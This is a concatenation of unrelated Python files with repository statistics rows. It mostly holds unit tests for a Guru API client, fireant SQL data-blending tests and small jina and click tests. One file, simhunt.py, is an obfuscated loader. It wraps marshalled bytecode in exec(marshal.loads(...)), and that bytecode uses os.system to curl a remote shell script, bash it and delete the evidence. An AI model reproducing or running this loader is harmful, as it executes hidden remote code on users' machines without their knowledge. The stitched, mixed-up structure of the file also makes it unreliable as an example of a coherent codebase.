"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions",
"body": [{
"type": "group",
"role": "MEMBER",
"group": {
"id": "1111"
}
}]
}])
@use_guru()
@responses.activate
def test_remove_board_permission(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{
"id": "1234",
"group": {
"id": "1111",
"name": "Experts"
}
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "1111",
"name": "Experts"
}])
responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions/1234", status=204)
board = g.get_board("11111111-1111-1111-1111-111111111111")
result = board.remove_group("Experts")
self.assertEqual(result, True)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions"
}, {
"method": "DELETE",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions/1234"
}])
@use_guru()
@responses.activate
def test_get_board_permissions_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "1234",
"title": "test"
}])
result = g.get_shared_groups("my board")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_add_board_permission_with_invalid_group(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[])
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.add_group("Experts")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}])
@use_guru()
@responses.activate
def test_add_board_permission_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[])
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "1111",
"name": "Experts"
}])
result = g.add_shared_group("my board", "Experts")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_remove_board_permission_with_invalid_group(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "1111",
"name": "other group"
}])
result = g.remove_shared_group("my board", "Experts")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}])
@use_guru()
@responses.activate
def test_remove_board_permission_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "1111",
"name": "Experts"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[])
result = g.remove_shared_group("my board", "Experts")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_remove_board_permission_with_unshared_group(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{
"id": "1234",
"group": {
"id": "1111",
"name": "Experts"
}
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "2222",
"name": "other group"
}])
board = g.get_board("11111111-1111-1111-1111-111111111111")
result = board.remove_group("other group")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/groups"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions"
}])
@use_guru()
@responses.activate
def test_add_board_to_board_group_by_uuid(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"collection": {
"id": "1234"
},
"items": [{
"type": "section",
"title": "Test",
"itemId": "bg1",
"items": [{
"type": "board",
"id": "22222222-2222-2222-2222-222222222222",
"itemId": "i2",
"title": "board 2"
}],
}, {
"type": "board",
"id": "11111111-1111-1111-1111-111111111111",
"itemId": "i1",
"title": "board 1"
}]
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"title": "board 2",
"collection": {
"id": "1234"
}
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json={})
board_group = g.get_board_group("Test", collection="General")
board_group.add_board("11111111-1111-1111-1111-111111111111")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234",
"body": {
"sectionId": "bg1",
"actionType": "move",
"boardEntries": [
{
"id": "i1",
"entryType": "board"
}
],
"prevSiblingItem": "i2"
}
}
])
@use_guru()
@responses.activate
def test_move_board_to_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={
"id": "2222"
})
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.move_to_collection("General")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/boards/bulkop",
"body": {
"action": {
"collectionId": "1234",
"type": "move-board"
},
"items": {
"itemIds": ["11111111-1111-1111-1111-111111111111"],
"type": "id"
}
}
}])
@use_guru()
@responses.activate
def test_move_board_to_collection_and_wait(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={
"id": "2222"
}, status=202)
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/bulkop/2222", json={})
with patch("time.sleep", Mock(return_value=None)):
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.move_to_collection("General", timeout=1)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/boards/bulkop",
"body": {
"action": {
"collectionId": "1234",
"type": "move-board"
},
"items": {
"itemIds": ["11111111-1111-1111-1111-111111111111"],
"type": "id"
}
}
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/bulkop/2222"
}])
@use_guru()
@responses.activate
def test_move_board_to_invalid_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[])
board = g.get_board("11111111-1111-1111-1111-111111111111")
result = board.move_to_collection("General")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}])
@use_guru()
@responses.activate
def test_move_invalid_board_to_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111", status=404)
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards?collection=1234", json=[])
result = g.move_board_to_collection("11111111", "General")
self.assertEqual(result, None)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards?collection=1234"
}])
@use_guru()
@responses.activate
def test_move_board_to_its_current_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"collection": {
"id": "1234"
},
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.move_to_collection("General")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}])
@use_guru()
@responses.activate
def test_move_board_to_collection_and_it_times_out(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={
"id": "2222"
}, status=202)
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/bulkop/2222", status=204)
with patch("time.sleep", Mock(return_value=None)):
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.move_to_collection("General", timeout=3)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/boards/bulkop",
"body": {
"action": {
"collectionId": "1234",
"type": "move-board"
},
"items": {
"itemIds": ["11111111-1111-1111-1111-111111111111"],
"type": "id"
}
}
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/bulkop/2222"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/bulkop/2222"
}])
| 31.433076
| 142
| 0.567139
| 5,260
| 44,855
| 4.756654
| 0.035171
| 0.068425
| 0.128297
| 0.153957
| 0.916427
| 0.894444
| 0.877138
| 0.867466
| 0.851279
| 0.840887
| 0
| 0.125426
| 0.228759
| 44,855
| 1,427
| 143
| 31.433076
| 0.59782
| 0.011548
| 0
| 0.812888
| 0
| 0.049689
| 0.417169
| 0.036548
| 0
| 0
| 0
| 0
| 0.046584
| 1
| 0.031832
| false
| 0
| 0.006211
| 0
| 0.03882
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d3539b069277c89b63b61fda3fe8119ecc7453a7
| 39
|
py
|
Python
|
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
|
kvedurmu/paketo-samples
|
525b49f14883a6aa54959de3232430f0fdc1e66e
|
[
"Apache-2.0"
] | 1
|
2021-11-08T01:25:40.000Z
|
2021-11-08T01:25:40.000Z
|
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
|
kvedurmu/paketo-samples
|
525b49f14883a6aa54959de3232430f0fdc1e66e
|
[
"Apache-2.0"
] | 19
|
2021-03-10T21:30:56.000Z
|
2022-02-27T06:45:03.000Z
|
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
|
kvedurmu/paketo-samples
|
525b49f14883a6aa54959de3232430f0fdc1e66e
|
[
"Apache-2.0"
] | 2
|
2021-11-08T01:25:30.000Z
|
2022-01-13T07:53:38.000Z
|
print("import: 'click'")
import click
| 9.75
| 24
| 0.692308
| 5
| 39
| 5.4
| 0.6
| 0.814815
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128205
| 39
| 3
| 25
| 13
| 0.794118
| 0
| 0
| 0
| 0
| 0
| 0.394737
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0.5
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 7
|
d3afc759a7d07c8d7dd5b6e507d468fa6b33ed5f
| 734
|
py
|
Python
|
simhunt.py
|
Bhai4You/SimHunt
|
42d0955de0273b3db615f368e611327354e08cb7
|
[
"Apache-2.0"
] | 3
|
2022-03-31T12:30:56.000Z
|
2022-03-31T12:31:03.000Z
|
simhunt.py
|
Bhai4You/SimHunt
|
42d0955de0273b3db615f368e611327354e08cb7
|
[
"Apache-2.0"
] | null | null | null |
simhunt.py
|
Bhai4You/SimHunt
|
42d0955de0273b3db615f368e611327354e08cb7
|
[
"Apache-2.0"
] | null | null | null |
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00s7\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00e\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01e\x00\x00j\x01\x00d\x03\x00\x83\x01\x00\x01e\x00\x00j\x01\x00d\x04\x00\x83\x01\x00\x01d\x01\x00S(\x05\x00\x00\x00i\xff\xff\xff\xffNsv\x00\x00\x00curl https://raw.githubusercontent.com/Bhai4You/bhai4you/master/dists/Metasploit/extras/binary-all/env.sh > simhunt.shs\x0f\x00\x00\x00bash simhunt.shs\x10\x00\x00\x00rm -f simhunt.sh(\x02\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00system(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x06\x00\x00\x00\x0c\x01\r\x01\r\x01'))
| 244.666667
| 718
| 0.769755
| 153
| 734
| 3.69281
| 0.366013
| 0.382301
| 0.334513
| 0.318584
| 0.233628
| 0.20708
| 0.20708
| 0.20708
| 0.164602
| 0.058407
| 0
| 0.324138
| 0.012262
| 734
| 2
| 719
| 367
| 0.455172
| 0
| 0
| 0
| 0
| 0.5
| 0.946866
| 0.798365
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 12
|
6caaa6f84344e211b747a7824cb606b22c7ed992
| 163
|
py
|
Python
|
tests/unit/docker/test_helper.py
|
facebbook/jina
|
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/docker/test_helper.py
|
facebbook/jina
|
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
|
[
"Apache-2.0"
] | 2
|
2021-02-15T01:40:38.000Z
|
2021-02-15T02:00:21.000Z
|
tests/unit/docker/test_helper.py
|
facebbook/jina
|
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
|
[
"Apache-2.0"
] | null | null | null |
from pathlib import PosixPath
from jina.docker.helper import credentials_file
def test_credentials_file():
assert isinstance(credentials_file(), PosixPath)
| 20.375
| 52
| 0.815951
| 20
| 163
| 6.45
| 0.65
| 0.348837
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122699
| 163
| 7
| 53
| 23.285714
| 0.902098
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
9f5b1839892b8641e5d1acb9f0a21e640521ed33
| 41,164
|
py
|
Python
|
fireant/tests/queries/test_data_blending_integration.py
|
RobinPapke/fireant
|
822a5306b981549cb21a508a9b35729ecb8af6ec
|
[
"Apache-2.0"
] | 2
|
2019-05-12T15:14:52.000Z
|
2020-05-28T07:13:34.000Z
|
fireant/tests/queries/test_data_blending_integration.py
|
RobinPapke/fireant
|
822a5306b981549cb21a508a9b35729ecb8af6ec
|
[
"Apache-2.0"
] | null | null | null |
fireant/tests/queries/test_data_blending_integration.py
|
RobinPapke/fireant
|
822a5306b981549cb21a508a9b35729ecb8af6ec
|
[
"Apache-2.0"
] | null | null | null |
from unittest import TestCase
import fireant as f
from fireant import DataSet, DataType, Database, Field, ReactTable
from pypika import Tables
from fireant.tests.database.mock_database import TestDatabase
class DataSetBlenderIntegrationTests(TestCase):
maxDiff = None
def test_use_metric_from_primary_dataset_when_alias_conflicts_with_metric_from_secondary(
self,
):
db = Database()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"metric",
label="Metric",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"metric",
label="Metric",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = (
primary_ds.blend(secondary_ds)
.on_dimensions()
.extra_fields(
Field(
"metric_share",
label="Metric Share",
definition=primary_ds.fields.metric / secondary_ds.fields.metric,
data_type=DataType.number,
)
)
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(ReactTable(blend_ds.fields.metric_share))
).sql
(query,) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric"/"sq1"."$metric" "$metric_share" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query),
)
def test_produce_a_sql_with_multiple_subqueries_in_from_clause_when_blender_not_mapped_on_any_fields(
self,
):
db = Database()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"metric1",
label="Metric1",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"metric2",
label="Metric2",
definition=t1.metric,
data_type=DataType.number,
)
],
)
blend_ds = primary_ds.blend(secondary_ds).on({})
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(ReactTable(blend_ds.fields.metric1, blend_ds.fields.metric2))
).sql
(query,) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric1" "$metric1",'
'"sq1"."$metric2" "$metric2" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0",'
"("
"SELECT "
'"metric" "$metric2" '
'FROM "test1"'
') "sq1" '
'ORDER BY "$timestamp"',
str(query),
)
def test_do_not_include_fields_with_conflicting_aliases_in_subqueries_unless_mapped(
self,
):
db = Database()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp, blend_ds.fields.account)
.widget(ReactTable(blend_ds.fields.metric0, blend_ds.fields.metric1))
).sql
(query,) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq0"."$metric0" "$metric0",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"account" "$account",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp","$account"',
str(query),
)
def test_include_mapped_field_in_subqueries_when_the_aliases_are_different(self):
db = Database()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field("a", label="A", definition=t0.a, data_type=DataType.number),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field("b", label="B", definition=t1.b, data_type=DataType.number),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.a: secondary_ds.fields.b}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.a)
.widget(ReactTable(blend_ds.fields.metric0, blend_ds.fields.metric1))
).sql
(query,) = sql
self.assertEqual(
"SELECT "
'"sq0"."$a" "$a",'
'"sq0"."$metric0" "$metric0",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
'"a" "$a",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$a"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"b" "$b",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$b"'
') "sq1" ON "sq0"."$a"="sq1"."$b" '
'ORDER BY "$a"',
str(query),
)
def test_blended_references(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp, blend_ds.fields.account)
.widget(ReactTable(blend_ds.fields.metric1))
.reference(f.DayOverDay(blend_ds.fields.timestamp))
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"account" "$account" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp","$account"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1_dod" "$metric1_dod" '
"FROM ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"account" "$account" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"metric" "$metric1_dod" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp","$account"',
str(query_2),
)
def test_blended_references_with_order_by_on_metric(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp, blend_ds.fields.account)
.widget(ReactTable(blend_ds.fields.metric1))
.reference(f.DayOverDay(blend_ds.fields.timestamp))
.orderby(blend_ds.fields.metric1)
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"account" "$account" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$metric1"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1_dod" "$metric1_dod" '
"FROM ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"account" "$account" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"metric" "$metric1_dod" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$metric1_dod"',
str(query_2),
)
def test_blended_references_with_order_by_on_unused_metric(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
